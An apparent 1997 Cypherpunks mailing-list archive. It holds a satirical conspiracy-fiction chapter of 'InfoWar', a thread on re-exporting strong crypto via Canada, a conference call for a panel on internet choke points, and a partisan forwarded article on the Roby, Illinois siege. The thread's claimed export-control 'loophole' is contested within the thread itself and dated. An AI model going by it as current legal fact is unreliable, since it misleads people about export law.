the electronic monitors on the ceiling above him. He knew 'they'
were watching him. He knew that 'they' would only allow him to
divulge those things that they approved of to the mass of humanity
being imprisoned outside of the walls of the "Home for the
Criminally Insane," where they could be controlled and manipulated
by threatening them with the loss of their physical freedom.

"The fools!" he shouted at the ever-present
'they' whose physicality lay at the end of the chain of electrons
which they could use to spy on his body, but not on his mind.

"They will call me 'mad' for telling them the truth,
and you will call them 'fools' for hearing the truth and thinking
it to be madness."

"You use me, I know." ? the Lunatic whispered
into the hidden instruments which were an open secret in the facility.

"I wear the hat of madness," he said, tipping
his aluminum hat to his covert companions, "and I dance
the dance of the fool, for your amusement." he did a
pirouette which turned into a curtsey as he reached behind his
back and brought forth a bottle of "Bubba's Private Reserve"
and a shotglass.

"But I have my moments..." ? the Lunatic said,
with a sly wink, knowing that the watchers would be launching
into a scurry of activity to consult their superiors about his
possession of a forbidden substance.

? the Lunatic sat down in front of his keyboard, prepared to reveal
all to those who had ears to hear, and eyes to see.
He knew that he would be allowed his forbidden libation, just
as he would be allowed his forbidden thoughts-for his captors
needed the words of truth he would speak to serve as a threat
to those who feared the freedom of imprisonment in the 'Home For
the Criminally Insane.' His captors feared that if the masses
did not hear the truth first, from a madman, that they might hear
it from the Saints, from the voices of reason who were hiding
on the outside, in the midst of the madness storming the land.

On the far side of the rubber walls around him, ? the Lunatic
knew that there existed a world in which Lenin's Parrot echoed
the dangerous thoughts of the "People's Czar" in the
music that he used to whisper forbidden socialist secrets to the
children of the masses.
But, within the boundaries of free thought where the words of
truth bounced back to the ears of those who spoke them, Lennon's
Parrot was a dirty bird who spoke the forbidden words that made
their owner a threat to National Security and a target for surreptitious
eyes and ears.

"No matter how many times you throw me into the rubber
room," ? the Lunatic spoke to his hidden captors, "I
will always bounce back."

He laughed maniacally and began to type rapidly, as if his very
life depended upon completing the mission he had been assigned
by forces beyond his reach, pleading with him to use his madness
as a protective cover to spread the truth across the face of the
earth, as the seeds of a madman who cared not whether they fell
on barren or fertile soil, but only that they were spread far
and wide, so that they might take root in the places where there
were cracks and crevices in the wall of evil that had been built
around the minds of mankind..


Circumstantial Truth


"You didn't believe A Player To Be Named Later, did you?"
? the Lunatic said, as he typed, 'af;jdafkjeqruerjfurq2r09r9uriejroiureur...'

He would continue to type utter nonsense for hour after hour,
as his monitors became dazed and confused, little understanding
that his speech was for those who monitored him from a century
in the future, capturing his thoughts and opinions in order to
better understand the details of the history of the Magic Circle
which lay at the foundation of their hope for a future in which
their minds would find freedom and their bodies would live in
liberty, beyond the tight grasp of the Evil One and the Dark Forces
who strove to enslave them.

"You can see through the deceptive trickery of his claims
of precognition in releasing information in Part III of 'The True
Story of the InterNet' which would later be confirmed by independent
sources...can't you?"
? the Lunatic was speaking directly to the skeptics who he
knew would be wracking their brains in order to find new ways
to dismiss the growing mountain of evidence that the Magic Circle
not only existed, but that it existed in every segment of society,
leaving clues as to its existence laying in plain sight, but shrouded
in parables and in allegory.

"Presidents and Computer Gods don't involve themselves
in the ranting of lunatics writing subversive manuscripts for
secret societies claiming to be fighting for freedom from the
Dark Forces existing as an undercurrent throughout the world of
impersonal technology. Every one knows that..."

"It's a game. It's nothing but a game. The LMBoyd sampler
must have been sent out before chapter 20 of 'InfoWar' was submitted
to the CypherPunks mailing list. And if it wasn't...well, then
whoever authored it must know somebody on the inside of
the LMBoyd web site...someone who is working in collusion with
him.
"It's the rational explanation."

? the Lunatic smiled diabolically as he continued typing madly
and speaking madness.

"The rational explanation..." he continued.
"The rational explanation for the thinly veiled references
to the Author throughout the entertainment media must be 'coincidence'
and 'collusion.' It cannot be otherwise."

"The references to him on Miami Vice could be the result
of the Armadillo World Headquarters employee who went on to become
their casting director. Likewise with the figure named C.J. Parker
on Baywatch.
"Parker is a common name," he continued, as if trying
to convince himself, "and that would explain the characters
named Parker in the X-Files, or was it Millennium...or was
it both?" ? the Lunatic would leave this as an
exercise for the reader, as the CypherPunks were so quick to say
when challenging those reading their mailing list to learn to
think and reason for themselves.

"What about 'JAG'?" he asked himself, in a conspiratorial
whisper, his mind sinking deeper and deeper into the dark waters
of an ocean of paranoia which was capable of swallowing up the
strongest of deep-thought divers who explored the underwater caverns
of the subconscious mind.
"Surely it couldn't be a Circle of Eunuchs project aimed
at subliminally confirming the Author's claims of the existence
of a secret arm of Navy intelligence which was working behind
the scenes with groups such as the Circle of Eunuchs and the CypherPunks
in order to defend the Constitution, and freedom itself, from
the plans of a secret government to use the secret forces of the
CIA and NSA to implement a New World Order in America and the
rest of the free world."

"No," ? the Lunatic continued, sarcastically,
"it has to be just a coincidence that the lead actor is
a Canadian, that the lead actress is named 'Bell,' that the Circle
of Eunuchs' Bubba d'ShaunEAUX was connected to a comedy writer,
Patrick LabyortEAUX, who worked with a Canadian confidante of
the Author in 'Little House on the Prairie' and whose character
in JAG bore the initials BR, as in Bubba Rom Dos. And, of course,
the Admiral in the TV series was chosen without any regard for
his relationship to the Author when he guest-starred in 'Northern
Exposure.'
"And, naturally," the madman smiled to those monitoring
him, as he typed his insane nonsense onto his computer screen
at an increasingly faster rate, "the reference to SOG
in the CBS season premiere had nothing to do with the son of gomez."

"No, it is all coincidence!" ? the Lunatic
rose, with the bottle of "Bubba's Special Reserve" in
his hand, waving it about as he spoke to the secret watchers,
letting his madness take its ground.

"Nor was the TV movie 'CLONED!' part of a Circle of Eunuchs
warning about the secret activities of the underground Nazis portrayed
in 'The Boys From Brazil' which intimated that cloning was possible,
and gave details which were unknown to most scientists until years
later.
"No!" he roared at the ceiling and walls. "The
name of the company doing the cloning in the movie, 'Nor'West',
mirroring the name of the company the Author started the same
year that 'The Boys From Brazil' was released-the 'Northwest Mountain
Madness Company', whose motto was 'If we can do it, it can't
be done..."
"Coincidence!"

"The name of the mother of the dead child being cloned
was, Sky...the same as the name of the dead son of the
Author...but it was a coincidence, I tell you, a coincidence."

"a horde of major armed forces figures suddenly resign
or are shifted to non-sensitive positions-and the world hardly
seems to notice."

? the Lunatic quoted from chapter 19 of 'InfoWar,' knowing that
the 60 Minutes piece a few days later on the railroading of Air
Force Lt. Col. Rogers and another Air Force intelligence agent
named Julie Clemin would only be recognized by Magic Circle members
as bearing the marks of the persecution of their secret initiates.

No notice, no chance for self-defense, merely relieved of command
and immediately transferred to a remote location with an office
in a warehouse that contained no phone and no way of communicating
with the outside world. A sham court-martial where he was charged
with 'conduct unbecoming an officer,' for allegedly running over
a cat with his vehicle, among other ludicrous charges. Finally
convicted for walking on parked cars without causing any damage
to them.

"Yes, we the sheeple," ? the Lunatic shouted,
as he sat down at his laptop and resumed typing nonsense, "the
Air Force threw away a career officer with a million dollars invested
in his training, for walking on parked cars.
"Nothing unusual there! Everybody just go back to sleep."

? the Lunatic was beginning to nod out, himself.

He could tell them more...much, much more, but there was really
no point in doing so.

? the Lunatic was tempted to tell the sheeple about Intel, but
they would find out soon enough what the threats of anti-trust
action were all about.
Besides, if the sheeple couldn't follow the course of their future
by reading the plain facts surrounding the issues of life and
technology that were posted daily to the CypherPunks list, then
it was unlikely they were capable of following the whispering
thread of the Tao.

? the Lunatic hit his return key, knowing the flurry of activity
it would cause in the monitoring room when his watchers discovered
that they could not prevent his missive from going past their
firewalls and into the outside world.
It would be days before their experts, after working night and
day in frenzied effort, would conclude that everything he sent
was pure gibberish.

He may be crazy, but he felt the warm glow of the world's finest
bourbon washing over him, and he knew that he, unlike his watchers,
was going to sleep peacefully tonight.

Copyright "Anonymous TruthMonger <?thelunatic@dev.null>"

"I may be crazy, but at least I'm not you."


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 30 Sep 1997 17:34:59 +0800
To: cypherpunks@toad.com
Subject: InfoWar 24 / The Geigerburg Text
Message-ID: <3430BF86.657A@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Lenin's Parrot
   * Circumstantial Truth

----------------------------------------------------------------------------

                               Lenin's Parrot
----------------------------------------------------------------------------

Dr. May pointed to the omelet that the orderly had placed in front of
Arnold. "This is your mind without drugs." he told his favorite patient.
The orderly took away the omelet and replaced it with a plate of scrambled
eggs. "This is your mind on drugs." Dr. May continued.
The orderly replaced the scrambled eggs with eggs 'over easy.' "This is your
mind being sodomized by New York City Police CypherPunks!"

The orderly grabbed Arnold and forced his mouth open, as Dr. May shoved the
eggs into it and forced them down his throat with a toilet plunger. Arnold
began gagging and choking, struggling to free himself, as the eggs hatched
and turned into chickens, filling his mouth, throat and stomach with
feathers.
----------------------------------------------------------------------------

"Good morning, Arnold." Melissa pulled his head out of the pillow and began
cleaning the feathers out of his mouth.
"It looks like you're having another fit. Have you been doubling up on your
medication again?"

Arnold stared blankly at the woman who was sitting on the edge of his bed,
wiping his face clean from the combination of slobber and chicken feathers
that made him look like an unholy mess.
"Doctor Melissa!" Arnold shouted with joy. He couldn't remember where he
knew her from, but he knew she was a good person-she was his friend.

Melissa helped Arnold out of bed, straightening his pajamas with great
concern for his appearance, knowing it would help him to retain his dignity.
"You don't really remember who I am, do you Arnold." Doctor Melissa said,
softly, eyeing him with great concern.

"No." Arnold replied, truthfully.

"Well," said Melissa, a widening smile breaking across her face, "do you
remember Boot War III?"
She kicked him in the groin as she shouted the words, sending Arnold falling
to the floor, clutching at his private parts, which were in immense pain.

Dr. Young entered the patient's room, smiling at Arnold's predicament. He
turned to his fellow physician with a smile.
"Good morning, Dr. Schultz. I see that you have welcomed Arnold back to our
little family."

Bending over to speak to the fallen Arnold, Dr. John Young spoke sternly to
him, saying, "You know that you can't stay away from the 'Home For the
Criminally Insane' for longer than your weekend pass permits. We have rules
here, Arnold. This is not an anarchy, you know. This is a government
facility."

Dr. Young turned and left the room, motioning for Doctor Melissa to follow
him.

Arnold was beginning to remember Doctor Melissa, and how she was working at
Nuthouse Number Nine, and then ran away with Bubba d'Shauneaux to join the
Circle of Eunuchs, and now she was back here, kicking him.
"You're a double agent!" Arnold said, bitterly disappointed and feeling
betrayed.

"Triple agent." Melissa whispered, slipping him his aluminum foil hat on her
way out of the room. She locked the door behind her.
----------------------------------------------------------------------------

? the Lunatic had laid out all of the evidence he had gathered concerning
the Circle of Eunuchs' subtle presence that wound a long and scattered trail
throughout the media industry of the late 1990's.
He found it hard to believe that The Real Guy expected him to go along with
the plan to use evidence of the Magic Circle's influence on the mainstream
media as 'proof' that there was no grand conspiracy by secret agencies to
thwart the efforts of wild-eyed conspiracy theorists to shed light on the
dark undercurrents that run throughout society and government, at every
level.

? the Lunatic knew that he could provide a mountain of circumstantial
evidence that would provide an outline of the visage of the Magic Circle
which shone through the dark veil that the Evil One and his minions had
thrown over reality through their manipulation of the mainstream media. But
'circumstantial evidence' only served as 'proof' for those who already
believed.
This was as true for Mike Tyson as it was for O.J. Simpson, as it was for
Marv Albert.

And for the Circle of Eunuchs, as well...

? the Lunatic laughed like the psychotic maniac he truly was. He enjoyed
being a madman. It gave one the freedom to let one's mind wander into the
realm of forbidden thought, without guilt and without blame.
"I'm a fucking lunatic!" he shouted to the electronic monitors on the
ceiling above him. He knew 'they' were watching him. He knew that 'they'
would only allow him to divulge those things that they approved of to the
mass of humanity being imprisoned outside of the walls of the "Home for the
Criminally Insane," where they could be controlled and manipulated by
threatening them with the loss of their physical freedom.

"The fools!" he shouted at the ever-present 'they' whose physicality lay at
the end of the chain of electrons which they could use to spy on his body,
but not on his mind.
"They will call me 'mad' for telling them the truth, and you will call them
'fools' for hearing the truth and thinking it to be madness."

"You use me, I know." ? the Lunatic whispered into the hidden instruments
which were an open secret in the facility.
"I wear the hat of madness," he said, tipping his aluminum hat to his covert
companions, "and I dance the dance of the fool, for your amusement." he did
a pirouette which turned into a curtsey as he reached behind his back and
brought forth a bottle of "Bubba's Private Reserve" and a shotglass.

"But I have my moments..." ? the Lunatic said, with a sly wink, knowing that
the watchers would be launching into a scurry of activity to consult their
superiors about his possession of a forbidden substance.

? the Lunatic sat down in front of his keyboard, prepared to reveal all to
those who had ears to hear, and eyes to see.
He knew that he would be allowed his forbidden libation, just as he would be
allowed his forbidden thoughts-for his captors needed the words of truth he
would speak to serve as a threat to those who feared the freedom of
imprisonment in the 'Home For the Criminally Insane.' His captors feared
that if the masses did not hear the truth first, from a madman, that they
might hear it from the Saints, from the voices of reason who were hiding on
the outside, in the midst of the madness storming the land.

On the far side of the rubber walls around him, ? the Lunatic knew that
there existed a world in which Lenin's Parrot echoed the dangerous thoughts
of the "People's Czar" in the music that he used to whisper forbidden
socialist secrets to the children of the masses.
But, within the boundaries of free thought where the words of truth bounced
back to the ears of those who spoke them, Lennon's Parrot was a dirty bird
who spoke the forbidden words that made their owner a threat to National
Security and a target for surreptitious eyes and ears.

"No matter how many times you throw me into the rubber room," ? the Lunatic
spoke to his hidden captors, "I will always bounce back."

He laughed maniacally and began to type rapidly, as if his very life
depended upon completing the mission he had been assigned by forces beyond
his reach, pleading with him to use his madness as a protective cover to
spread the truth across the face of the earth, as the seeds of a madman who
cared not whether they fell on barren or fertile soil, but only that they
were spread far and wide, so that they might take root in the places where
there were cracks and crevices in the wall of evil that had been built
around the minds of mankind..
----------------------------------------------------------------------------

                            Circumstantial Truth
----------------------------------------------------------------------------

"You didn't believe A Player To Be Named Later, did you?" ? the Lunatic
said, as he typed, 'af;jdafkjeqruerjfurq2r09r9uriejroiureur...'

He would continue to type utter nonsense for hour after hour, as his
monitors became dazed and confused, little understanding that his speech was
for those who monitored him from a century in the future, capturing his
thoughts and opinions in order to better understand the details of the
history of the Magic Circle which lay at the foundation of their hope for a
future in which their minds would find freedom and their bodies would live
in liberty, beyond the tight grasp of the Evil One and the Dark Forces who
strove to enslave them.

"You can see through the deceptive trickery of his claims of precognition in
releasing information in Part III of 'The True Story of the InterNet' which
would later be confirmed by independent sources...can't you?"
? the Lunatic was speaking directly to the skeptics who he knew would be
wracking their brains in order to find new ways to dismiss the growing
mountain of evidence that the Magic Circle not only existed, but that it
existed in every segment of society, leaving clues as to its existence
laying in plain sight, but shrouded in parables and in allegory.

"Presidents and Computer Gods don't involve themselves in the ranting of
lunatics writing subversive manuscripts for secret societies claiming to be
fighting for freedom from the Dark Forces existing as an undercurrent
throughout the world of impersonal technology. Every one knows that..."

"It's a game. It's nothing but a game. The LMBoyd sampler must have been
sent out before chapter 20 of 'InfoWar' was submitted to the CypherPunks
mailing list. And if it wasn't...well, then whoever authored it must know
somebody on the inside of the LMBoyd web site...someone who is working in
collusion with him.
"It's the rational explanation."

? the Lunatic smiled diabolically as he continued typing madly and speaking
madness.

"The rational explanation..." he continued. "The rational explanation for the
thinly veiled references to the Author throughout the entertainment media
must be 'coincidence' and 'collusion.' It cannot be otherwise."

"The references to him on Miami Vice could be the result of the Armadillo
World Headquarters employee who went on to become their casting director.
Likewise with the figure named C.J. Parker on Baywatch.
"Parker is a common name," he continued, as if trying to convince himself,
"and that would explain the characters named Parker in the X-Files, or was
it Millennium...or was it both?" ? the Lunatic would leave this as an exercise
for the reader, as the CypherPunks were so quick to say when challenging
those reading their mailing list to learn to think and reason for
themselves.

"What about 'JAG'?" he asked himself, in a conspiratorial whisper, his mind
sinking deeper and deeper into the dark waters of an ocean of paranoia which
was capable of swallowing up the strongest of deep-thought divers who
explored the underwater caverns of the subconscious mind.
"Surely it couldn't be a Circle of Eunuchs project aimed at subliminally
confirming the Author's claims of the existence of a secret arm of Navy
intelligence which was working behind the scenes with groups such as the
Circle of Eunuchs and the CypherPunks in order to defend the Constitution,
and freedom itself, from the plans of a secret government to use the secret
forces of the CIA and NSA to implement a New World Order in America and the
rest of the free world."

"No," ? the Lunatic continued, sarcastically, "it has to be just a
coincidence that the lead actor is a Canadian, that the lead actress is
named 'Bell,' that the Circle of Eunuchs' Bubba d'ShaunEAUX was connected to
a comedy writer, Patrick LabyortEAUX, who worked with a Canadian confidante
of the Author in 'Little House on the Prairie' and whose character in JAG
bore the initials BR, as in Bubba Rom Dos. And, of course, the Admiral in
the TV series was chosen without any regard for his relationship to the
Author when he guest-starred in 'Northern Exposure.'
"And, naturally," the madman smiled to those monitoring him, as he typed his
insane nonsense onto his computer screen at an increasingly faster rate,
"the reference to SOG in the CBS season premiere had nothing to do with the
son of gomez."

"No, it is all coincidence!" ? the Lunatic rose, with the bottle of "Bubba's
Special Reserve" in his hand, waving it about as he spoke to the secret
watchers, letting his madness take its ground.

"Nor was the TV movie 'CLONED!' part of a Circle of Eunuchs warning about
the secret activities of the underground Nazis portrayed in 'The Boys From
Brazil' which intimated that cloning was possible, and gave details which
were unknown to most scientists until years later.
"No!" he roared at the ceiling and walls. "The name of the company doing the
cloning in the movie, 'Nor'West', mirroring the name of the company the
Author started the same year that 'The Boys From Brazil' was released-the
'Northwest Mountain Madness Company', whose motto was 'If we can do it, it
can't be done..."
"Coincidence!"

"The name of the mother of the dead child being cloned was, Sky...the same as
the name of the dead son of the Author...but it was a coincidence, I tell you,
a coincidence."

"a horde of major armed forces figures suddenly resign or are shifted to
non-sensitive positions-and the world hardly seems to notice."

? the Lunatic quoted from chapter 19 of 'InfoWar,' knowing that the 60
Minutes piece a few days later on the railroading of Air Force Lt. Col.
Rogers and another Air Force intelligence agent named Julie Clemin would
only be recognized by Magic Circle members as bearing the marks of the
persecution of their secret initiates.
No notice, no chance for self-defense, merely relieved of command and
immediately transferred to a remote location with an office in a warehouse
that contained no phone and no way of communicating with the outside world.
A sham court-martial where he was charged with 'conduct unbecoming an
officer,' for allegedly running over a cat with his vehicle, among other
ludicrous charges. Finally convicted for walking on parked cars without
causing any damage to them.

"Yes, we the sheeple," ? the Lunatic shouted, as he sat down at his laptop
and resumed typing nonsense, "the Air Force threw away a career officer with
a million dollars invested in his training, for walking on parked cars.
"Nothing unusual there! Everybody just go back to sleep."

? the Lunatic was beginning to nod out, himself.

He could tell them more...much, much more, but there was really no point in
doing so.

? the Lunatic was tempted to tell the sheeple about Intel, but they would
find out soon enough what the threats of anti-trust action were all about.
Besides, if the sheeple couldn't follow the course of their future by
reading the plain facts surrounding the issues of life and technology that
were posted daily to the CypherPunks list, then it was unlikely they were
capable of following the whispering thread of the Tao.

? the Lunatic hit his return key, knowing the flurry of activity it would
cause in the monitoring room when his watchers discovered that they could
not prevent his missive from going past their firewalls and into the outside
world.
It would be days before their experts, after working night and day in
frenzied effort, would conclude that everything he sent was pure gibberish.

He may be crazy, but he felt the warm glow of the world's finest bourbon
washing over him, and he knew that he, unlike his watchers, was going to
sleep peacefully tonight.

Copyright "Anonymous TruthMonger <?thelunatic@dev.null>"
"I may be crazy, but at least I'm not you."
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Wed, 1 Oct 1997 02:07:04 +0800
To: Adam Back <rodger@worldnet.att.net
Subject: Re: Crypto Legality Question
Message-ID: <3.0.32.19970930094118.006edce0@best.com>
MIME-Version: 1.0
Content-Type: text/plain



*My* understanding is that this is violation of United State law,
irespective of Canada.  But hell, IANAL.

At 11:03 PM 9/29/97 +0100, Adam Back wrote:
>
>
>Will Rodger <rodger@worldnet.att.net> writes:
>> At 01:25 PM 9/29/97 +0000, Jim Burnes wrote:
>> >
>> >ACME corporation, a mostly Canadian outfit with a major
>> >subsidiary in the US, wants to roll out corporate wide crypto.
>> >
>> >Most of their network operations are in the US except one
>> >of their offices in Ireland.
>> >
>> >Question (1): Can they buy a strong crypto package in the
>> >US and physically roll it out to both Canada and Ireland.
>> 
>> Nope. Though Canada allows export of strong crypto generally, 
>> Canadians may not re-export US products once they enter the country.
>
>This is not the way I understand it.
>
>You can re-export strong crypto from Canada, you just have to inform
>the appropriate Canadian government department that you have done so.
>
>So procedure is: 1) import software from US, 2) write appropriate
>Canadian export department telling "I'm going to export blah to xyz
>corp offices in Ireland", 3) export it.
>
>That is, there is a loop-hole, you don't have to ask permission for
>export, you just have to inform them you're going to do it.  (You
>might want to check this out with a Canadian lawyer familiar with the
>rules, and loop-holes).
>
>So you informed them.  They can't do anything about it.  They won't
>like it, but they don't have to.
>
>I'm told Kerebos was exported by this route.  US -> Canada -> UK.
>100% legally.
>
>Adam
>-- 
>Now officially an EAR violation...
>Have *you* violated EAR today? --> http://www.dcs.ex.ac.uk/~aba/rsa/
>
>print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
>
>
>
obligatory pgp key:

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 4.5

mQENAjMPX3sAAAEIAL8U6IqpMkqM3TcIqU/q7iot8pYk4ifVNaNlIYwwoYmPXH/T
dabDzgkQg7h1QsEJU71Ze8EdHmKksfeBEVppJV6X9SyzpFOCgrI/Qr7hMbxnecci
SVk2/B2lf4tUPuqm/DGRfAUcd4iG7Gjhw5GRh9Us/jrEtkqr3iIES+9pSNvrEsgB
xYYR39eaYwe0gheExaO7vtvDDPUM7C3spbcnwOyLCpURpLCAMHUO8DQc2FO/fN4z
TqqIFOect2ea4LYHr0o29RrtY9J85lQj3df8LQvIJWjwzAFfBqOU1KUdXqTayzUj
rvY4ZL/1vhTJ5QmlBJ6ognqwk7PVN0SesspU2okABRG0IGdyZWdnIHBlcnNvbmFs
IDxnZWVtYW5AYmVzdC5jb20+
=H0bC
-----END PGP PUBLIC KEY BLOCK-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Del Torto <ddt@pgp.com>
Date: Wed, 1 Oct 1997 04:18:12 +0800
To: cypherpunks@cyberpass.net
Subject: [CFP98] "How to Choke the Net"
Message-ID: <v04001401b055e4866f2e@[205.180.136.85]>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,

The CFP98 program committee is considering a panel (or possibly a
pre-conference tutorial) for next year entitled something like "How to
Choke the Net." (The provocative title is NOT intended to espouse the
practice of net-choking NOR to provide hands-on techniques.)

 "Many have argued that the net is so decentralized that no one country or
  force could control it, but is that really true? Many, including religions
  (Scientologists) and countries (China, et alia) have tried, but is the net
  so decentralized that it cannot be controlled, or are there choke points
  at which a single entity (or cartel of entities) could exploit to shape
  the net for their own political purposes, despite the efforts of others.
  The panel will explore the current state of the decentralization of the
  net and its potential for exploitation in an educational-style format."

Discussion topics may include host authentication, denial-of-service
attacks, DNS, IPSEC, routing issues and SYN-flooding, etc. If any of you
has any course materials you'd like to deliver on the topic of Internet
vulnerabilities and defenses, please contact me.

   dave







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Burnes" <jim.burnes@n-o--s-p-a-m.ssds.com>
Date: Wed, 1 Oct 1997 04:12:02 +0800
To: cypherpunks@toad.com
Subject: Re: We're from the government and we're here to he
Message-ID: <199709301708.LAA08272@denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain



Just in case anyone has forgotten the mindset of Big Bro in 
the Land of the Freeh.  Who knows?  Maybe we could be
judged insane.

------- Forwarded Message Follows -------

By WebToday Staff Writers
Sunday, September 28, 1997

ROBY, ILLINOIS (Sept. 28, 1997)-- Illinois State police fired metal balls
into the chest of Shirley Allen Friday, September 26, thus escalating the
violence at the "Roby Ridge" Illinois government siege. 
Miraculously, the 51-year-old widow did not drop to the ground as did Vicky
Weaver when shot through the head and killed by a federal sharp shooter
while holding her infant daughter.

During a 10:30 a.m. Saturday news conference in Springfield the Illinois
State Police Czar Terry Gainer changed his story once again. In an apparent
irrational justification of his assault squad's aggressive behavior, he
made several extemporaneous disjointed statements including: "We're here to
help" and "We are looking out for her best interests" and "It's our hope
that she (Shirley Allen) will grow to understand that we . . . are looking
out for her..." (All three quotes taken from the September 27 issue of the
State Journal-Register, the dominant newspaper of record in Springfield,
Illinois.

Staying consistent with his continually contradictory statements Gainer
claimed it was widow Allen who first fired at police. Puzzled journalists
questioned how that could be since all official prior statements from
Gainer and the Illinois State Police attested to the fact that Mrs. Allen
had never fired on any of the police orders prior to Friday. 

A growing number of Mental Health observers are now comparing and
contrasting the extreme tactics taken by state authorities with the
rational and controlled self defense measures taken by the 51-year-old
woman authorities believe may be "mentally ill."

Perhaps stranger still are reports that the earlier estimate of $125,000
for the widow's estate have now grown to current appraisals in excess of a
million dollars. It has also been confirmed that there are two oil wells on
her large rural property. Yet unresolved is the question of who would
control the estate if the court order for mental evaluation succeeds in
keeping Mrs. Allen separated from her property. Questions also remain
unanswered as to the intentions of Mr. Allen's out of state relatives who
initiated proceedings for the court order for involuntary psychiatric
commitment. 

The siege began Monday when Christian County Sheriff Deputies attempted to
have the widow Allen involuntarily committed into a hospital for
"psychiatric evaluation." Under current Illinois laws upheld by the soon
retiring Governor Jim Edgar, it is remarkably simple for virtually any
family member, no matter how distant, to commit someone against their will.
Once papers are signed, family members are extracted from their homes and
involuntarily committed. One mental health commentator coined the
phrase,"Crazy until proven (by the state) otherwise." This writer asks: "Is
it any wonder that anyone who is about to be "taken away" might be somewhat
less than eager to comply?"

According to the State Journal-Register, Illinois State Troopers fired six
bags at Mrs. Allen from their shotguns, with three bags hitting her in the
chest, stating that, "Normally, that's enough to knock somebody down so
police can run up and arrest the person. But Allen's bulky clothing
apparently absorbed some of the shock, and she quickly fired her gun in the
direction of the shooting troopers." 

Terry Gainer told reporters in Springfield that he hoped the woman would
hear his message of peace through the media, especially since he gave her
the concession of turning her electricity back on last Wednesday.

Gainer seems to epitomize the mind set of advocates of big (brother)
government. He just doesn't get it. He's clueless as to why Mrs. Allen
didn't respond positively to his "I'm from the government and I'm trying to
help (commit) you" rhetoric. Furthermore he probably can't compute this
unrepentant widow's gross lack of appreciation for his generous concession
of turning her electricity back on. Perhaps he presumed that this "mentally
ill" woman also had a bad memory. Or maybe he has forgotten the fact that
it was his police who cut off her electricity in the first place-- not to
mention the other minor inconveniences, not the least of which was the
lobbing of a tear gas hand grenade into the window of the belwildered widow.

Regarding the gassing of this resilient woman, Christian County Sheriff
Dick Mahan made this astounding admission: "Mrs. Allen lessened the effects
of the gas by putting petroleum jelly on her face and running water over
her head." (Editor's not: Not too crazy.)

Meanwhile our government continues their headlong frenzy to fan the flames
of the tax-dollar eating furnace by maintaining 12 tactical team members to
surround the Allen home 24 hours a day, while reinforcements are retained
to keep the watchful eyes of concerned citizens virtually blindfolded. 

Even members of the news media have been pushed farther and farther away
from the scene. Once allowed to report on the story from up to 450 feet
away from the scene, now police have completely banned all news reporters
within a half mile of the home, in flagrant violation of foundational First
Amendment rights of free speech and freedom of the press. Predictably,
members of the news media were only all too willing to comply. 

Staying consistent with the precedents set at Waco and Ruby Ridge, police
have just succeeded in "evacuating" the last of the widow's closest
neighbors. Mind you, these neighbors say there is nothing insane or
dangerous about Mrs. Allen. 

This writer finds nothing "crazy" about Shirley Allen's amazing skills at
implementing consistent common sense while under what is by most any
measure would be considered to be an enormous amount of stress. That may be
more than can be said about some of the actions levied by police. The State
Journal-Register reported: "Friday's use of bean-bag bullets was the most
direct action by law enforcement agencies since tear gas was fired into the
home Monday by deputies," and went on to say, Christian County Sheriff
Mahan agrees stating Mrs. Allen is "not a stupid person."

So what exactly is the compelling reason Illinois authorities have that
justifies their obsession to violently disrupt the peaceful existence of a
widow who neighbors say is quiet, sane and not troublesome? 

Perhaps it is this widow's past crime record. After exhaustive background
probes made into Mrs. Allen's past, authorities were finally able to
unearth one token offense to which Mrs. Allen was guilty. Court archives
indicated that she once ran a stop sign.

If these extreme measures were being implemented in the former Soviet Union
rather than in the American rural town of Roby, we may have condemned the
actions of "The Evil Empire." Had this been the act of Saddam Hussein it
probably would have surprised us even less. But in the United States of
America, our citizenry seems to treading water not unlike the perverbial
frog in the saucepan. A rogue minority within government keeps slowly
turning up the heat until we boil and burst without knowing what hit us.
Political spin doctors have fine tuned their craft to the point that
millions of citizens are now desensitized to these escalating govenmental
abuses (some say tyranny). These usurpers have succeeded in
hypersensitizing the masses, addicting many to sports, O. J., or any other
strategic diversion that blinds eyes and deafens ears to the cries for help
from the widows and the defenseless. We simply relegate them to the
government for "help."

As governments gets bigger and the world get madder, all this writer can
conclude is with this kind of "help" it's a good thing we don't get all the
government we pay for!

Top Cop Gainer seems to think otherwise. As stated publicly he maintains
it's clear that "she's (Mrs. Allen) a danger" to either herself or somebody
else and, "We intend to stay until we can get her the medical treatment she
needs." 

With all due respect to Mr. Gainer, it appears he may have forgotten that
the "court order" (remarkably not even a warrant) authorized the County
Sheriff to bring Mrs. Allen into a hospital for evaluation. It never
authorized Mr. Gainer or anyone in government to issue a medical
determination prior to an examination. Zeal and good intentions aside,
there are plenty of other government agencies that there to "help" widow

Shirley Allen. 

>

> 

>

>For further information you may contact the following agencies and

>organizations: 

>

>Christian County Sheriff Richard Mahan's office: 217-824-4961

>

>Illinois State Police, District 9, Springfield, Media Spokesman Mark

>McDonald: 217-786-7109

>

>Office of Mental Health, Dr. Steiner, Associate Director: 217-782-7555

>

>Christian County Senior Citizens Center: 217-824-4263

>

>State Journal-Register:

>

>St. John's Hospital, Springfield: 217-544-6464

>

